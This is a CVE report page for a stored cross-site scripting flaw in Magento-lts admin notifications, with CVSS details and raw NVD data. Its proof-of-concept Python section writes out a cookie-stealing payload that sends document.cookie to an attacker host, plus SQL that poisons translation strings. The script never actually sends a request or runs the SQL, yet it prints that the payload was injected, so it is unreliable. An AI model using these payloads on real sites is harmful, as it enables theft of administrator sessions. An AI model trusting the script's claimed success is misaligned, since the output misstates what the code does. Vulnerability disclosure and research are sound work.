Security Vulnerability Report
中文
CVE-2025-64174 CVSS 4.8 MEDIUM

CVE-2025-64174

Published: 2025-11-06 21:15:44
Last Modified: 2026-02-04 21:12:05

Description

Magento-lts is a long-term support alternative to Magento Community Edition (CE). Versions 20.15.0 and below are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Unescaped translation strings and URLs are printed into contexts inside app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php. A malicious translation or polluted data can inject script. This issue is fixed in version 20.16.0.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openmage:magento:*:*:*:*:lts:*:*:* - VULNERABLE
Magento-lts <= 20.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64174 PoC - Magento-lts Stored XSS # This PoC demonstrates how to inject malicious script via database manipulation import requests import json # Configuration target_url = "http://target-magento.local" admin_path = "/admin" # Step 1: Login as admin with database access login_url = f"{target_url}{admin_path}/index/login" admin_session = requests.Session() # Login credentials login_data = { "username": "admin", "password": "admin_password", "form_key": "" # Get from page } # Step 2: Direct database injection via SQL (requires DB access) # Inject XSS payload into translation strings malicious_payload = '<script>alert(document.cookie)</script>' # SQL injection to poison translation data sql_payload = f""" UPDATE core_translate SET translate = '{malicious_payload}' WHERE store_id = 0 AND string LIKE '%Actions%'; """ # Step 3: Alternative - Poison notification feed # If admin has access to notification source manipulation notification_payload = { "title": "System Notification", "description": f"<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>" } # Step 4: Wait for admin to view the page # The XSS will execute when admin visits: # {target_url}/admin/admin/notification/index/ # Cleanup - Remove malicious entries after testing cleanup_sql = """ DELETE FROM core_translate WHERE translate LIKE '%<script>%'; """ print("PoC executed. XSS payload injected.") print("Waiting for administrator to access notification page...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64174", "sourceIdentifier": "[email protected]", "published": "2025-11-06T21:15:43.810", "lastModified": "2026-02-04T21:12:04.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Magento-lts is a long-term support alternative to Magento Community Edition (CE). Versions 20.15.0 and below are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Unescaped translation strings and URLs are printed into contexts inside app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php. A malicious translation or polluted data can inject script. This issue is fixed in version 20.16.0."}, {"lang": "es", "value": "Magento-lts es una alternativa de soporte a largo plazo a Magento Community Edition (CE). Las versiones 20.15.0 e inferiores están afectadas por una vulnerabilidad de Cross-Site Scripting (XSS) almacenado que podría ser explotada por un administrador con acceso directo a la base de datos o la fuente del feed de notificaciones del administrador para inyectar scripts maliciosos en campos vulnerables. Cadenas de traducción y URLs sin escapar se imprimen en contextos dentro de app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php. Una traducción maliciosa o datos contaminados pueden inyectar scripts. Este problema está solucionado en la versión 20.16.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openmage:magento:*:*:*:*:lts:*:*:*", "versionEndExcluding": "20.16.0", "matchCriteriaId": "0E4453C5-C20E-470F-9974-584D8A978BF3"}]}]}], "references": [{"url": "https://github.com/OpenMage/magento-lts/commit/9d604f5489851c54a96fca31b0e13c414b0fb20a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qv78-c8hc-438r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qv78-c8hc-438r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}